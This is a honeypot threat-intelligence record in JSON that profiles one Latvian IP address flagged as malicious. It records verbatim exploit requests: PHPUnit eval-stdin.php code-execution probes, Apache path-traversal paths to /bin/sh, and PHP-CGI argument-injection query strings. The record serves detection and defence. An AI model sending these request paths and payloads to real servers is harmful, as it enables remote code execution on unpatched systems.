{"ip":"31.57.62.245","total_events":40,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"34 exploit-path hits","confidence":"high","network_type":"residential ISP","why":["34 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 397,400 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"397,400 bytes sent","bytes_sent":397400,"session_seconds":52,"persistent":false}},"first_seen":"2026-09-12T07:22:40","last_seen":"2026-09-20T12:11:11","events_24h":37,"events_7d":38,"geo":{"country_code":"LV","country_name":"Latvia","region":"Riga","city":"Riga","lat":56.9473,"lon":24.0979,"asn":56971,"org":"Cgi Global Limited"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as56971","label":"CGI GLOBAL LIMITED","category":"isp","url":"https://www.peeringdb.com/asn/56971"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":37},{"port":22,"proto":"tcp","label":"SSH","count":2},{"port":2222,"proto":"tcp","label":"SSH-alt","count":1}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"ja4h":["ge11nn0700_765287bee650","po11nn0700_765287bee650"]},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":136,"po11nn0700_765287bee650":32,"ge11nn0700_765287bee650":29,"19532158b559096b89b1a5f7d17175b2":175},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-12","count":2},{"date":"2026-09-19","count":1},{"date":"2026-09-20","count":37}],"recent_events":[{"timestamp":"2026-09-20T12:11:11","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f61646d696e2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":37,"duration_ms":51858,"bytes_in":16137,"bytes_out":2849},{"timestamp":"2026-09-20T12:11:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f63726d2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":36,"duration_ms":50285,"bytes_in":15864,"bytes_out":2772},{"timestamp":"2026-09-20T12:11:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f636d732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":35,"duration_ms":48665,"bytes_in":15593,"bytes_out":2695},{"timestamp":"2026-09-20T12:11:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f64656d6f2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":34,"duration_ms":47239,"bytes_in":15322,"bytes_out":2618},{"timestamp":"2026-09-20T12:11:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170692f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":33,"duration_ms":45544,"bytes_in":15050,"bytes_out":2541},{"timestamp":"2026-09-20T12:11:03","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f74657374696e672f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":32,"duration_ms":44346,"bytes_in":14779,"bytes_out":2464},{"timestamp":"2026-09-20T12:11:02","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f746573742f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":31,"duration_ms":42638,"bytes_in":14504,"bytes_out":2387},{"timestamp":"2026-09-20T12:11:00","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f74657374732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":30,"duration_ms":40756,"bytes_in":14232,"bytes_out":2310},{"timestamp":"2026-09-20T12:10:58","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f56322f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":29,"duration_ms":39274,"bytes_in":13959,"bytes_out":2233},{"timestamp":"2026-09-20T12:10:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f77732f65632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a4163636570743a202a2f2a0d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"a4509528-465d-4fa5-a105-3babdbc8b68d","seq":28,"duration_ms":37900,"bytes_in":13689,"bytes_out":2156}],"http_methods":[{"method":"GET","count":30},{"method":"POST","count":7}],"distinct_ports_total":3,"top_paths":[{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":1,"ports":1},{"path":"/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input","count":1,"ports":1}],"distinct_paths_total":37,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":2}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-09-20T22:30:39.023562+00:00"}